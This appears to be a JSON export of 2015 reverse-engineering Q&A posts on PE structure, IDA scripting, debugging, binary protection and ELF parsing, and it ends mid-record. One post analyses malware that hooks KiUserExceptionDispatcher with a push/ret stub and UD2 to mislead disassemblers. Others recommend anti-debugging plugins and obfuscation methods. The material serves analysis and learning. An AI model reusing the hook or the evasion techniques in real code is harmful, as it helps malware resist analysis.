        "Body": "<p>I enjoy idling in programming related IRC channels so I can research any topic which catches my interest.  I have checked the channels for a few forums that I browse, but I can't seem to find an active community.  What are some active RCE related channels?  It can be about malware analysis / tools / general help / etc, anything.</p>\n\n<p>Hopefully this is on topic.  I can't think of anywhere else to ask.</p>\n",
        "Title": "Are there any active IRC channels for RCE discussion?",
        "Tags": "|disassembly|",
        "Answer": "<p><a href=\"http://woodmann.com/krobar/beginner/221.html\" rel=\"nofollow\">#cracking4newbies</a> on <a href=\"http://en.wikipedia.org/wiki/EFnet\" rel=\"nofollow\">EFnet</a>\u200b\u200b\u200b\u200b\u200b</p>\n"
    },
    {
        "Id": "8749",
        "CreationDate": "2015-04-23T09:11:13.087",
        "Body": "<p>According to what I know, Import Descriptor table is made of an array of <code>_IMAGE_IMPORT_DESCRIPTOR</code> structures. There is one <code>_IMAGE_IMPORT_DESCRIPTOR</code> for every dll that is imported.</p>\n\n<p>I have an exe which has two <code>_IMAGE_IMPORT_DESCRIPTOR</code> for <em>kernel32.dll</em>.\n<br><strong>Why is this so?\n<br>Why does this exe need to import the dll twice ?</strong></p>\n\n<p>Note: I'm using <em>PEview</em> to see the PE structure. Is it possible that PEview is getting confused? Even if there is a problem with <em>PEview</em> <strong>is it possible for an exe to import the same dll twice</strong>?</p>\n\n<hr>\n\n<p>I have another doubt regarding the TLS directory in the PE Structure.</p>\n\n<p><strong>Is the TLS directory/Table which is present in the <code>IMAGE_OPTIONAL_HEADER</code> of the PE, present only when the exe/program uses implicit TLS</strong> (i.e. <code>__declspec(thread)</code>) and not when we use API(i.e. explicit TLS using functions like <code>TlsAlloc</code>, <code>TlsFree</code>, <code>TlsSetValue</code> and <code>TlsGetValue</code> etc.).</p>\n\n<p>Is it common for program's to use this? I have read it in many places that this can be a heuristic for malicious executable.</p>\n",
        "Title": "Why does an exe's import Table have two refrences to kernel32.dll (or any other dll)?",
        "Tags": "|windows|x86|malware|pe|security|",
        "Answer": "<p>The import table can theoretically have as many references to a DLL as there are imports.  It is a function of the linker that produces this effect, and in some cases, the linker does not perform any kind of string pooling.</p>\n\n<p>Borland products treat units as stand-alone objects, so any imported functions that are used are included without reference to any others.  The effect is a DLL name, a group of imports for that DLL for the first unit; a DLL name (which might be duplicated), a group of imports for that DLL for the second unit (any or all of which might also be duplicated from the first group); and so on.</p>\n\n<p>As far as TLS goes, the TLS directory entry is present only when the program uses EXplicit TLS.  i.e. it declares a static TLS entry that the linker can see, and which Windows must initialise when the program first starts (because the program might use it immediately).  The use of dynamic TLS (TlsAlloc, TlsFree) is entirely within program control, and the program is required to perform the initialisation itself.</p>\n"
    },
    {
        "Id": "8755",
        "CreationDate": "2015-04-24T02:09:32.750",
        "Body": "<p>Z80 was a popular 8-bit processor with a 4-bit ALU.</p>\n\n<p><img src=\"https://i.stack.imgur.com/5tueN.png\" alt=\"Z80 ALU\"></p>\n\n<p>Implementing a zero flag for a register should be straight forward, it would be a logical <code>NOR</code> of all the bits on the register.</p>\n\n<p><img src=\"https://i.stack.imgur.com/RG7f4.png\" alt=\"Gigantic NOR\"></p>\n\n<p>Something like that would work for a small number of inputs. As for a 64-bit processor you cannot make one gigantic <code>NOR</code> gate with 64 inputs. The fan-in would be too high. 8 transistors would be in series. The circuit capacitance would be high thus slowing down everything else.</p>\n\n<p>I can see some other options.</p>\n\n<ul>\n<li>The zero flag could be generated directly from the 8-bit result using 2 level logic.</li>\n</ul>\n\n<p><img src=\"https://i.stack.imgur.com/tLlMR.png\" alt=\"two level logic\">\n<img src=\"https://i.stack.imgur.com/OOodj.png\" alt=\"two level logic\"></p>\n\n<ul>\n<li>The zero flag could be generated directly from the 8-bit result using 3 level logic.</li>\n</ul>\n\n<p><img src=\"https://i.stack.imgur.com/2xBFt.png\" alt=\"three level logic\"></p>\n\n<ul>\n<li>The zero flag could be generated from each nibble and then put together, like if there was a \"half\"-zero flag. The result for the lower would be saved using a flip-flop while waiting for the high nibble result to be calculated.</li>\n</ul>\n\n<p><img src=\"https://i.stack.imgur.com/anAW5.png\" alt=\"Nibble\"></p>\n\n<p><a href=\"http://www.righto.com/2013/09/the-z-80-has-4-bit-alu-heres-how-it.html\" rel=\"noreferrer\">Ken Shirriff</a> wrote a nice article about reverse engineering the Z80 ALU. However when it comes to the zero flag he states:</p>\n\n<blockquote>\n  <p>Not shown in the block diagram are the simple circuits to compute parity, <strong>test for zero</strong>, and check if a 4-bit value is less than 10. These values are used to set the condition flags.</p>\n</blockquote>\n\n<p>So, although they are simple circuits I would like to know exactly how they were implemented and if they used any of the implementations proposed above or something else completely different.</p>\n",
        "Title": "How was the Zero Flag implemented on Z80 ALU?",
        "Tags": "|hardware|",
        "Answer": "<p><strong>Well if you want to know how it was done exactly</strong></p>\n\n<p>Then download the <strong>Z80 die shot</strong> of model you want to investigate, crop the <strong>ALU</strong> part and identify all the gates you can until you dig to <strong>Zero flag</strong> your self (sorry for indirect answer).</p>\n\n<p><strong>Here my Z80 ALU post processed die shot</strong></p>\n\n<p><img src=\"https://i.stack.imgur.com/rkIpx.png\" alt=\"Z80 ALU\"></p>\n\n<ul>\n<li>white - metal</li>\n<li>green - poly-Si</li>\n<li>red   - dopped-Si (diffusion)</li>\n<li>Gray  - conductive joints between layers</li>\n</ul>\n\n<p>Try to identify all gates and buses you can (and mark them to the image)</p>\n\n<p><img src=\"https://i.stack.imgur.com/ORk25.png\" alt=\"Z80 ALU labeled\"></p>\n\n<p>When found familiar structure like <strong>Wire OR, (N)OR</strong> cascade, ... then you will know for sure. Just try to find the basic components like:</p>\n\n<p><img src=\"https://i.stack.imgur.com/yZf5a.png\" alt=\"Components\"></p>\n\n<p>form the circuit schematics and make some sense of it.</p>\n"
    },
    {
        "Id": "8756",
        "CreationDate": "2015-04-24T04:25:17.073",
        "Body": "<p>I am new to reverse engineering and file protections. I have made a trading algorithm for Tradestation that I have put into a C++ DLL instead of having the source laying around, and I want to protect it further from reverse engineering. Is there something stronger than Themida out there?</p>\n",
        "Title": "Stronger than Themida?",
        "Tags": "|decompilation|",
        "Answer": "<p>You might want to review an answer I provided before <a href=\"https://reverseengineering.stackexchange.com/questions/118\">over here</a>. Themida and CodeVirtualizer are fine. If you want something stronger you should keep your code on a server or run it on a dedicated hardware dongle intended for copy protection. Make sure the dongle is one that actually runs your algorithms and doesn't just encrypt some parts of the code and run it on the PC side.</p>\n\n<p>Be aware though that all they do is increase the amount of motivation an adversary needs in order to find out how your stuff works. I would examine what the value of your secrets really are. The best something like CodeVirtualizer and Themida can achieve is to create the equivalent of a black box. However it will always be possible to probe your black box with different inputs and observe the outputs. So in best case your protected code will be equivalent to keeping your code running on a server, only accessible offline. If offline is a requirement you're stuck with these sorts of solutions, either something commercial off the shelf or something homegrown. Otherwise I would strong recommending centralizing as much as possible of your algorithms on a server. Why not make your DLL for Tradestation a thin wrapper around a web API?</p>\n\n<p>Trading algorithms, if effective, can definitely fall under something that would be valuable enough to protect on a server. </p>\n\n<p>There's also the issue of mistranslations where CodeVirtualizer or Themida does an incorrect translation of the machine instructions into their own VM instructions which could lead to bugs. Are you willing to accept an incorrect trade and possibly holding a bad position due to translation bugs in the translation engine of Themida, VMProtect or whatever you choose to use?</p>\n"
    },
    {
        "Id": "8758",
        "CreationDate": "2015-04-24T10:57:39.527",
        "Body": "<p>I know how to find and hook virtual methods by crawling an object's RTTI.  I cannot find enough information about non-virtual class methods. </p>\n\n<ol>\n<li><p>Is there anyway to identify non-virtual class methods at run-time?  </p></li>\n<li><p>Can I use a class's symbol name to recover any information about it at run-time?</p></li>\n</ol>\n",
        "Title": "How can I recover / locate non-virtual class methods at run-time?",
        "Tags": "|disassembly|c++|dynamic-analysis|",
        "Answer": "<p>There's no sure-proof way to do it. Non-virtual methods look exactly like normal functions except they take an implicit 'this' pointer. If you are dealing with visual C++ compiled program then it will probably be a bit more obvious as usually it uses <strong>thiscall</strong> calling convention so you just need to watch for cases when the instance address is in ecx at function entry. See <a href=\"http://www.openrce.org/articles/full_view/23\" rel=\"nofollow\">my article</a> for more details.</p>\n\n<p>Of course, if you have symbols then it's very easy - just check for <code>classname::</code> prefix in the demangled function name.</p>\n"
    },
    {
        "Id": "8760",
        "CreationDate": "2015-04-24T11:46:44.207",
        "Body": "<p>In windows PE files (32 and 64 bit) calls to imported functions look like this in IDA PRO:</p>\n\n<pre><code>call    ds:SetEvent              // default setting\ncall    [ds:SetEvent]            // Target Assembler set to TASM\n</code></pre>\n\n<p>I understand what it does (indirect call, import table, ...) but what I do not understand:\nWhy is IDA adding the <code>ds:</code> in front of the function name?\nI checked the opcode, it is <code>FF 15</code> meaning a <em>near</em> call.</p>\n\n<p>If I am right to assume that the <code>ds</code> is a segment register, there is no need to specify it as a near call means a call of a function inside the same segment.</p>\n\n<p>Could someone explain why IDA is adding the <code>ds:</code> anyway and what it is good for?</p>\n",
        "Title": "Call to an imported function in a PE file: Why is destination prepended with ds (call ds:func_name)?",
        "Tags": "|ida|disassembly|assembly|disassemblers|segmentation|",
        "Answer": "<p>The FF 15 is an absolute indirect call.  It is fetching the value at a memory location, and then transferring control to the fetched address.</p>\n\n<p>In order to specify that memory location precisely, the CPU needs both the segment register and the address.  In the absence of an explicit request (2E for CS, for example), or a mode which has an implicit override (use of EBP selects SS:), DS: is used.  Despite Windows using a flat memory model, nothing prevents the segment registers from having other values assigned to them: 32-bit Windows supports Local Descriptor Table entries, for example, and there are tricks where DS: is given the value of FS:, to perform non-obvious SEH registration.</p>\n\n<p>IDA displays the segment register to remove any ambiguity as to which segment register is in use.</p>\n"
    },
    {
        "Id": "8776",
        "CreationDate": "2015-04-27T16:52:28.960",
        "Body": "<p>I have large PE file (C++), which has lots of indirect function calls using <code>vtable</code> and <code>jmp dword</code>.</p>\n\n<p>How can I generate a call tree for such functions ? (like with IDA User xrefs chart menu).</p>\n\n<p>Here is an example of disassembled code:</p>\n\n<pre><code>UPX1:2401135C sub_2401135C proc near                  ; CODE XREF: sub_2401263C+Cp\nUPX1:2401135C                                         ; StartAddress+21p ...\nUPX1:2401135C test    eax, eax\nUPX1:2401135E jz      short locret_2401136A\nUPX1:24011360 call    ds:off_24057054\nUPX1:24011366 or      eax, eax\nUPX1:24011368 jnz     short loc_2401136B\nUPX1:2401136A\nUPX1:2401136A locret_2401136A:                        ; CODE XREF: sub_2401135C+2j\nUPX1:2401136A retn\nUPX1:2401136B ; ---------------------------------------------------------------------------\nUPX1:2401136B\nUPX1:2401136B loc_2401136B:                           ; CODE XREF: sub_2401135C+Cj\nUPX1:2401136B mov     al, 2\nUPX1:2401136D jmp     sub_2401141C\nUPX1:2401136D sub_2401135C endp\n</code></pre>\n\n<p>User xref chart can show only call <code>ds:off_24057054</code> branch if I will include data xrefs. What can I do to see the <code>jmp sub_2401141C</code> branch ?</p>\n",
        "Title": "How can i generate function call tree in IDA for non-standart function calls?",
        "Tags": "|ida|",
        "Answer": "<p>In these cases the target of the calls is generated at runtime and can not be determined statically (with very few exceptions). </p>\n\n<p>You need to record this information while running the binary and incorporate the extra info into your IDB by using the AddCodeXref API or alike.</p>\n\n<p>If you don't want to write your own thing, this plugin can assist you in doing that and more: <a href=\"https://github.com/deresz/funcap\" rel=\"nofollow\">funcap</a></p>\n\n<p><strong>EDIT</strong></p>\n\n<p>In the case of <em>jmp subxxx</em> the target of the jump is well defined. You could programatically go throught the whole binary, extract the target of the jump and add the cross reference. </p>\n\n<p>I hacked something together, give it a try.</p>\n\n<pre><code>def is_external_jmp(ins_ea):\n    \"\"\"\n    True for JMPs between functions.\n    NN_JMP (86): jmp sub_xxx (0xE9 + offset) or jmp loc_xxx (0xE9 + offset)\n    \"\"\"    \n    decode_insn(ins_ea)\n\n    if cmd.itype == NN_jmp:\n        # HACK: GetOperandValue returns the target\n        # address, not the offset (as I would expect)\n        target = GetOperandValue(ins_ea, 0)\n        (s, e) = current_function_boundaries(ins_ea)\n\n        if target &lt; s or target &gt; e:\n            # Not within the current function\n            return True\n\n    return False\n\n\ndef current_function_boundaries(ea=None):\n    \"\"\"\n    Convenience function\n    @returns: boundaries or None\n    \"\"\"\n    if not ea:\n        ea = ScreenEA()\n\n    f = get_func(ea)\n\n    if not f:\n        # Probably called outside a function\n        return (None, None)\n\n    else:\n        return (f.startEA, f.endEA)\n\n\ndef main():\n\n    for f_ea in Functions():\n        for ins_ea in FuncItems(f_ea):\n            if is_external_jmp(ins):\n                # One of these \"jmp sub_xxx\"\n                target = GetOperandValue(ins_ea, 0)\n                AddCodeXref(ins_ea, target, fl_CN)\n\n\n\nif __name__ == '__main__':\n    main()\n</code></pre>\n"
    },
    {
        "Id": "8786",
        "CreationDate": "2015-04-30T06:10:21.397",
        "Body": "<p>I have recently started using plugins for OllyDbg 1.10. Thanks to this <a href=\"https://tuts4you.com/download.php?list.9\" rel=\"nofollow\">site</a>, I have an idea of the capabilities of the plugins for OllyDbg. </p>\n\n<p>As I have only a very basic idea of how plugins work, I was wondering, do plugins interfere with each other? For example, if I use multiple plugins that deals with the same anti-debugging techniques, is it possible that they may conflict with each other and mess with what I would ideally want, which is to hide my debugger? Thanks!</p>\n",
        "Title": "Conflict of OllyDbg plugins",
        "Tags": "|ollydbg|anti-debugging|plugin|",
        "Answer": "<p>It is quite possible for Ollydbg's plugin to interfere with each other. Generally you should only keep plugins that you use. </p>\n\n<p>The best anti-debugging plugins for Ollydbg as of now are <em><a href=\"https://bitbucket.org/NtQuery/scyllahide\" rel=\"nofollow\">ScyllaHide</a></em> for user-mode and <em><a href=\"https://bitbucket.org/mrexodia/titanhide\" rel=\"nofollow\">TitanHide</a></em> for kernel mode. Both of them are open source and well maintained.</p>\n"
    },
    {
        "Id": "8788",
        "CreationDate": "2015-04-30T16:53:42.720",
        "Body": "<p>Is there any way to set a breakpoint at the specific location on the stack in OllyDbg?</p>\n\n<p>I have some value (argument of the function) on the stack and I want to break on every memory access at this location.</p>\n\n<p>Thanks in advance.</p>\n",
        "Title": "How to set a breakpoint at the specific location on the stack in OllyDbg",
        "Tags": "|ollydbg|",
        "Answer": "<p>If the arguments of the function on stack  is a pointer (such as <code>pThreadId</code> for <code>CreateThread</code>), then follow the steps below. Otherwise if the argument is some value (like <code>CreationFlags</code>) then refer to <em>AcidShout's</em> answer. </p>\n\n<p><strong>1.</strong> Right click on the address on the stack -> Chose <em>Follow in Dump</em>.\n<img src=\"https://i.stack.imgur.com/Sr42P.png\" alt=\"enter image description here\"></p>\n\n<p><strong>2.</strong> In the dump window, right click on the value -> <em>Breakpoint</em> -> H<em>ardware on access</em> -> <em>Byte / Word / Dword</em></p>\n\n<p><img src=\"https://i.stack.imgur.com/DJl27.png\" alt=\"enter image description here\"></p>\n"
    },
    {
        "Id": "8793",
        "CreationDate": "2015-05-02T18:53:15.877",
        "Body": "<p>Let's say I've some function(i.e. hash function), that generates value from input seed and some precomputed hash values, that are stored somewhere in binary. What are the possible approaches for:</p>\n\n<ol>\n<li>Protect string data against dumping</li>\n<li>Protect hash algorithm from being reverse engineered for a while</li>\n</ol>\n\n<p>I understand that the goal of complete algorithm concealment from reverser is impossible but what technique will raise the efforts to do this?</p>\n\n<p>My thoughts on this topic:</p>\n\n<ol>\n<li>Protect hash strings with <a href=\"http://www.sevagas.com/?String-encryption-using-macro-and\" rel=\"noreferrer\">encryption macro</a></li>\n<li>Obfuscating target function using some king of obfuscation/poly/metamorphic engine in order to prevent easy algorithm recovery(can lead to AV false positive but should not harm in general)</li>\n<li>Roughly generate new  hash function and values for each copy of program(kind of hard to implement and maintain)</li>\n</ol>\n\n<p>Maybe anybody have better concepts that will suit my goal and be so kind to post it here.</p>\n\n<p>P.S. please do not advice to use packers/protectors. False positive AV does not cost couple functions algorithm concealment.</p>\n\n<p><strong>UPD</strong></p>\n\n<p><a href=\"https://mega.co.nz/#!3VxkFaLQ!3Vs8Tl6nf_9cssH-Xe8yYuaST3r1E_E13n6Af9jW2l8\" rel=\"noreferrer\">Here</a> is the implementation if string protection written in C++. I don't know if this solution be useful for other people but it's worth mentioning though. </p>\n",
        "Title": "Protect data stored in binary",
        "Tags": "|binary-analysis|obfuscation|static-analysis|encryption|",
        "Answer": "<p>There are a number of ways to accomplish what you've stated.  Generally, more robust techniques, while affording a higher level of protection, will also put more burden on the programmer creating the software.  So in approximately increasing order of difficulty, here are some ideas:</p>\n\n<h2>Store the data non-contiguously</h2>\n\n<p>The simplest approach is to simply not store the data contiguously.  That is, store the data in separate pieces and reassemble it at runtime just before you need it.  With this as with all of the other techniques, it's generally recommended to keep the value in memory for as short a duration as is practical.</p>\n\n<h2>Obfuscate the stored data</h2>\n\n<p>There are many ways to obfuscate data.  One simple method is to simply XOR with some fixed constant.  A more sophisticated approach is to encrypt the data, but unless you have some secure way to store the encryption key, this might not actually offer that much more security.  One possibility would be to use a cryptographic hash of the entire program (minus the protected data) as the encryption key.  This would largely prevent alteration of the binary as well as providing a non-obvious way to store the key.</p>\n\n<h2>Recalculate the data at runtime</h2>\n\n<p>If you can avoid storing the data at all, we eliminate the problem of being able to derive it from static analysis.  If you are precomputing hashes of certain data for performance reasons, consider doing so at program startup instead of at compile time.  Alternatively, if the data is fixed, consider writing a polymorphic generator which could be included at compile time.  That is, write a program that takes a fixed constant and generates code which, when run, produces that value without explicitly including it.  Then link the generated code with your program.  Because the polymorphic generator would be part of the build process rather than part of the runtime, it is much less likely to trigger a A/V warning.</p>\n\n<h3>Proof of concept for this idea</h3>\n\n<p>I wrote a little program in C++ to more fully demonstrate this technique.  Here is the program:</p>\n\n<h3>linear.cpp</h3>\n\n<pre><code>#include &lt;iostream&gt;\n#include &lt;cstdlib&gt;\n#include &lt;random&gt;\n\nint main(int argc, char *argv[])\n{\n    std::random_device rd;\n    std::uniform_int_distribution&lt;&gt; r{-32768,32767};\n\n    for (int i=1; i &lt; argc; ++i) {\n        int y = std::atoi(argv[i]);\n        int x;\n        for (x=r(rd); x==0; x= r(rd));  // make sure x!=0\n        int m = r(rd);\n        int b = y-m*x;\n        std::cout &lt;&lt; \"int generate\" &lt;&lt; i &lt;&lt; \"(int x) { return x * \" &lt;&lt; m &lt;&lt; \" + \" &lt;&lt; b &lt;&lt; \"; }\\n\";\n        std::cout &lt;&lt; \"\\tassert(\" &lt;&lt; y &lt;&lt; \" == generate\" &lt;&lt; i &lt;&lt; \"(\" &lt;&lt; x &lt;&lt; \"));\\n\";\n\n    }\n}\n</code></pre>\n\n<h3>How it works</h3>\n\n<p>This is a very simple program that takes a series of integers as input and creates one linear function per integer.  For example, with this command line:</p>\n\n<pre><code>./linear 39181 3802830 938833 -41418699\n</code></pre>\n\n<p>The program generated the following output:</p>\n\n<pre><code>int generate1(int x) { return x * -5646 + 182450149; }\n    assert(39181 == generate1(32308));\nint generate2(int x) { return x * -14922 + 10696794; }\n    assert(3802830 == generate2(462));\nint generate3(int x) { return x * -15424 + -320805807; }\n    assert(938833 == generate3(-20860));\nint generate4(int x) { return x * -8144 + -127093579; }\n    assert(-41418699 == generate4(-10520));\n</code></pre>\n\n<p>The <code>assert</code>s are simply there for documentation and testing.  In real usage, if you want to recreate the constant <code>39181</code> in your code, you would use <code>generate1(32308)</code>.  If we rearrange the lines into a full program, we get this:</p>\n\n<h3>tryme.cpp</h3>\n\n<pre><code>int generate1(int x) { return x * -5646 + 182450149; }\nint generate2(int x) { return x * -14922 + 10696794; }\nint generate3(int x) { return x * -15424 + -320805807; }\nint generate4(int x) { return x * -8144 + -127093579; }\n#include &lt;cassert&gt;\nint main() {\n    assert(39181 == generate1(32308));\n    assert(3802830 == generate2(462));\n    assert(938833 == generate3(-20860));\n    assert(-41418699 == generate4(-10520));\n}\n</code></pre>\n\n<p>Obviously, you could multiply or concatenate these if you need longer numbers or strings, and my choice of linear functions with the random number value range I chose was entirely arbitrary.  Feel free to substitute and experiment.</p>\n\n<h2>Fetch the data remotely</h2>\n\n<p>Depending on the environment, it may be possible to store the data remotely and then fetch it securely via something like HTTPS when and as needed.  Be aware that doing this could also mean that even an ordinary network outage or misconfigured firewall would render your software inoperable, but you can decide if that is acceptable for your purposes.</p>\n"
    },
    {
        "Id": "8805",
        "CreationDate": "2015-05-04T06:38:18.507",
        "Body": "<p>I want to know which DLL is loaded/unloaded in which process (globally).\nThe purpose is to find a process loading and unloading DLLs on the fly.\nI use following breakpoints in windbg (kd), but nothing found!</p>\n\n<p><code>bp kernel32!LoadlibraryA \"da poi(esp+4);g\"\n bp kernel32!LoadlibraryW \"du poi(esp+4);g\"\n</code></p>\n\n<p>any user/kernel mode ida?</p>\n",
        "Title": "Dynamic list of user-mode dlls in windows",
        "Tags": "|windows|",
        "Answer": "<p>You can enable <a href=\"https://msdn.microsoft.com/en-us/library/windows/hardware/ff556886(v=vs.85).aspx\" rel=\"nofollow\"><code>FLG_SHOW_LDR_SNAPS</code></a> in <a href=\"https://msdn.microsoft.com/en-us/library/windows/hardware/ff549557(v=vs.85).aspx\" rel=\"nofollow\">GFlags</a> to get DLL loading and unloading notifications in WinDbg or <a href=\"https://technet.microsoft.com/en-us/library/bb896647.aspx\" rel=\"nofollow\">DebugView</a> for all processes on the system.</p>\n"
    },
    {
        "Id": "8809",
        "CreationDate": "2015-05-04T14:18:34.810",
        "Body": "<p>i am analyzing a piece of malware in which first the address to \"KiUserExceptionDispatcher\" is obtained(using the Export Name Table, going to Export Ordinal Table and then finally to Export Address Table). Once the address(7773A408) is received, the malware overwrites the first 6 bytes with the following lines :</p>\n\n<pre><code>      (here is the finding part)\n                ...\n   mov BYTE PTR DS:[EDX], 68             -&gt; EDX contains ntdll.KiUserExceptionDispatcher\n   mov DWORD PTR DS:[EDX+1], malware.004035C2\n   mov BYTE PTR DS:[EDX+5], 0C3\n   ....\n</code></pre>\n\n<p>So, the hex window at 7773A408 (address of KiUserExceptionDispatcher) changes in the following way:</p>\n\n<pre><code>  7773A408   FC 8B 4C 24 | 04 8B .... (and so on)    &lt;- original\n\n  7773A408   68 C2 35 40 | 00 C3 .....(and so on)    &lt;- after overwriting\n</code></pre>\n\n<p>So, what happens then is that the malware reaches a \"UD2\" instruction. I looked it up: it raises an invalid opcode exception. \nThen the malware jumps to </p>\n\n<pre><code> 7773A40D   RETN    \n</code></pre>\n\n<p>which then leads me to:</p>\n\n<pre><code>004035C2  DB 8B     &lt;- clear, because 004035C2 starts at 7773A40D (hex window)\n</code></pre>\n\n<p>and then finally to another place where a whole new function begins.\nSo, my question would be: Is it right to assume that the malware tries to change exception handler by overwriting it with 004035C2 to redirect the excetion flow? Why is the exception handler of UD2 the first 6 bytes of KiUserExceptionDispatcher? </p>\n\n<p>best regards,</p>\n",
        "Title": "KiUserExceptionDispatcher hook",
        "Tags": "|assembly|exception|",
        "Answer": "<p>The malware overwrites the usermode exception dispatcher (<code>KiUserExceptionDispatcher()</code>) with the following:</p>\n\n<pre><code>PUSH malware.004035C2\nRETN\n</code></pre>\n\n<p>The code above is equivalent to <code>JMP malware.004035C2</code>.</p>\n\n<p>Now whenever any usermode exception occurs in the process, the function at <code>malware.004035C2</code> will be executed instead of (or at least before) the registered <a href=\"http://en.wikipedia.org/wiki/Microsoft-specific_exception_handling_mechanisms#Structured_Exception_Handling\" rel=\"nofollow\">SEH</a> functions.</p>\n\n<p>The malware likely uses this \"trick\" in combination with the <code>UD2</code> instruction in order to confuse disassemblers, since most disassemblers won't automatically figure out that the <code>UD2</code> instruction now effectively jumps to <code>malware.004035C2</code>. This type of obfuscation trick is often used to make automated static analysis of code-flow more difficult.</p>\n"
    },
    {
        "Id": "8817",
        "CreationDate": "2015-05-05T08:11:20.800",
        "Body": "<p>I wrote a script containing several functions, which I loaded in IDA pro. From IDAPython now I'd want to call a specific function. Is it possible? Which idaapi functions should I use to call my functions in the script?</p>\n\n<p>EDIT:\nI am running IDA on a linux system and the script has been written in python.</p>\n",
        "Title": "Calling functions from IDAPython",
        "Tags": "|ida|idapython|ida-plugin|",
        "Answer": "<p>You have 3 alternatives:</p>\n\n<ol>\n<li><p>You can just run the function by its name. If you already ran your script, defined functions should remain in the Python interpreter context.</p></li>\n<li><p>You can add the path of your script to sys.path and import the script again. It should looks as follows:</p>\n\n<pre><code>import sys\n\nsys.path.append(\"path to your folder with the script\")\n\nimport your_script_name\n</code></pre></li>\n<li><p>You can add this (addition to sys.path and import) into file <code>idapythonrc.py</code> in the root of IDA installation and this script will be imported each time you running IDA.</p></li>\n</ol>\n"
    },
    {
        "Id": "8824",
        "CreationDate": "2015-05-06T11:14:58.777",
        "Body": "<p>I want to be able to parse 32 and 64 bit ELF files - but not create or modify them (e.g. as discussed in <a href=\"https://reverseengineering.stackexchange.com/questions/1843/what-are-the-available-libraries-to-statically-modify-elf-executables\">this thread</a>). The ELF binaries may possibly come from embedded Linux systems, that is, the library should not be irritated by MIPS, ARM and other non-x86 architectures.</p>\n\n<p>What I have considered: </p>\n\n<ul>\n<li><a href=\"https://github.com/eliben/pyelftools\" rel=\"noreferrer\">pyelftools</a> (my currently favored option)</li>\n<li><a href=\"https://github.com/crackinglandia/pylibelf\" rel=\"noreferrer\">pylibelf</a></li>\n<li><a href=\"https://code.google.com/p/pydevtools/\" rel=\"noreferrer\">pydevtools</a></li>\n<li>Also an option: using a C library and ctypes.</li>\n</ul>\n\n<p>Do I have forgotten something?\nWhich of the above options would you prefer? </p>\n\n<p>For those who had some practical experience with pylibelf or pydeftools: These seem no longer updated (last commit: 2013 and 2012), are they mature enough?</p>\n",
        "Title": "Which python library for parsing Linux ELF files?",
        "Tags": "|binary-analysis|linux|idapython|elf|python|",
        "Answer": "<p><a href=\"https://lief-project.github.io/\" rel=\"nofollow noreferrer\">LIEF</a> is a good choice for parsing ELF binaries. It's written in C++, but comes with proper <a href=\"https://pypi.org/project/lief/\" rel=\"nofollow noreferrer\">Python bindings</a> and is readily <a href=\"https://pypi.org/project/lief/\" rel=\"nofollow noreferrer\">available via PyPi</a>. Besides parsing ELF files it also supports Windows PE and MacOS binaries, reading <em>and</em> modifying and writing all of them, that is.</p>\n<p>It's available since 2017 and is <a href=\"https://lief-project.github.io/blog/2022-01-23-new-elf-builder/\" rel=\"nofollow noreferrer\">actively maintained (example)</a>.</p>\n<p>LIEF is pretty light-weight and doesn't require many dependencies.</p>\n"
    },
    {
        "Id": "8828",
        "CreationDate": "2015-05-06T15:46:01.037",
        "Body": "<p>In my code, I am using <code>idc.GetOpnd(ea,0)</code> and <code>idc.GetOpnd(ea,1)</code> to get the 2 operands of an instruction. However, if its a <code>call</code> (or <code>jmp</code>) instruction, I am getting symbols like <code>_perror</code> and <code>loc_8083BA9</code>. </p>\n\n<p>Using IDAPython, is it possible to remove all the symbols and deal only with memory locations.</p>\n",
        "Title": "Get memory locations using IDAPython",
        "Tags": "|ida|idapython|",
        "Answer": "<p>Use GetOperandValue instead of GetOpnd to get the memory location.<p></p>\n\n<pre><code>Python&gt;GetOpnd(0xb77a2d99,0)\n__Unwind_Resume\nPython&gt;'%x'%(GetOperandValue(0xb77a2d99,0))\nb76fc24e\n</code></pre>\n"
    },
    {
        "Id": "8830",
        "CreationDate": "2015-05-06T19:52:32.747",
        "Body": "<p>I was reading through the chapter on Obfuscation in \"Practical Reverse Engineering\" I encountered the following statement.</p>\n\n<blockquote>\n  <p>Where X is the set of execution traces (finite and infinite), you can\n  express the trace semantics as the least solution (for the\n  computational partial ordering) of a fixpoint equation X = F( X).</p>\n</blockquote>\n\n<p>Could someone explain what that means in simple terms? If you could point me towards any resources for further reading and learning, that'd be great too.</p>\n",
        "Title": "Expressing trace semantics as a solution for a fixpoint equation",
        "Tags": "|obfuscation|program-analysis|",
        "Answer": "<p>You may consult pages 39-41 in the thesis </p>\n\n<blockquote>\n  <p>\"Code Obfuscation and Malware Detection by Abstract Interpretation\"</p>\n</blockquote>\n\n<p>of M. Dalla Preda about formal obfuscation; or sections 4.4 and 4.5 in the orignal paper </p>\n\n<blockquote>\n  <p>\"Systematic Design of Program Transformation Frameworks by Abstract\n  Interpretation\"</p>\n</blockquote>\n\n<p>of Cousot and Cousot.</p>\n\n<p>The theory is formal and requires much more technical details than the following interpretation, but the idea is that:</p>\n\n<p>The \"finite trace\" semantics of a program <code>P</code> is defined by the set of all finite traces of <code>P</code>. A trace is nothing but a finite sequence of states of <code>P</code>, obtained when running <code>P</code>, step-by-step over \"commands\" of <code>P</code>. </p>\n\n<p>(You may note that, from a state, we can get a set of possible next states, because the command at this state can be nondeterministic: it can receive some value from environment).</p>\n\n<p>To calculate the finite trace semantics of <code>P</code>, one way (which one is refered in your book) is to use a function <code>F</code> defined from FinSeqs to FinSeqs:</p>\n\n<pre><code>F : FinSeq -&gt; FinSeq\n</code></pre>\n\n<p>where <code>FinSeqs</code> is the set of all \"sub-set of finite sequences of states of <code>P</code>\" (you may think that each sub-set is a possible value for the \"finite trace\" semantics of <code>P</code>). </p>\n\n<p>This function <code>F</code> map a sub-set <code>X</code> to a sub-set <code>X'</code> so that each trace <code>x'</code> of <code>X'</code> has a trace <code>x</code> of <code>X</code> as suffix (that is the reason why it is called \"backward\" in the paper of Cousot and Cousot). Particularly, we have that</p>\n\n<pre><code>x' = sj . x\nx = si . x1\n</code></pre>\n\n<p>and <code>sj</code> must be able to be a next state of <code>si</code>. The least fixpoint of the function <code>F</code>, namely some set <code>Xp</code> so that</p>\n\n<pre><code>F(Xp) = Xp\n</code></pre>\n\n<p>is called the trace semantics of <code>P</code>.</p>\n"
    },
    {
        "Id": "8831",
        "CreationDate": "2015-05-06T22:25:28.357",
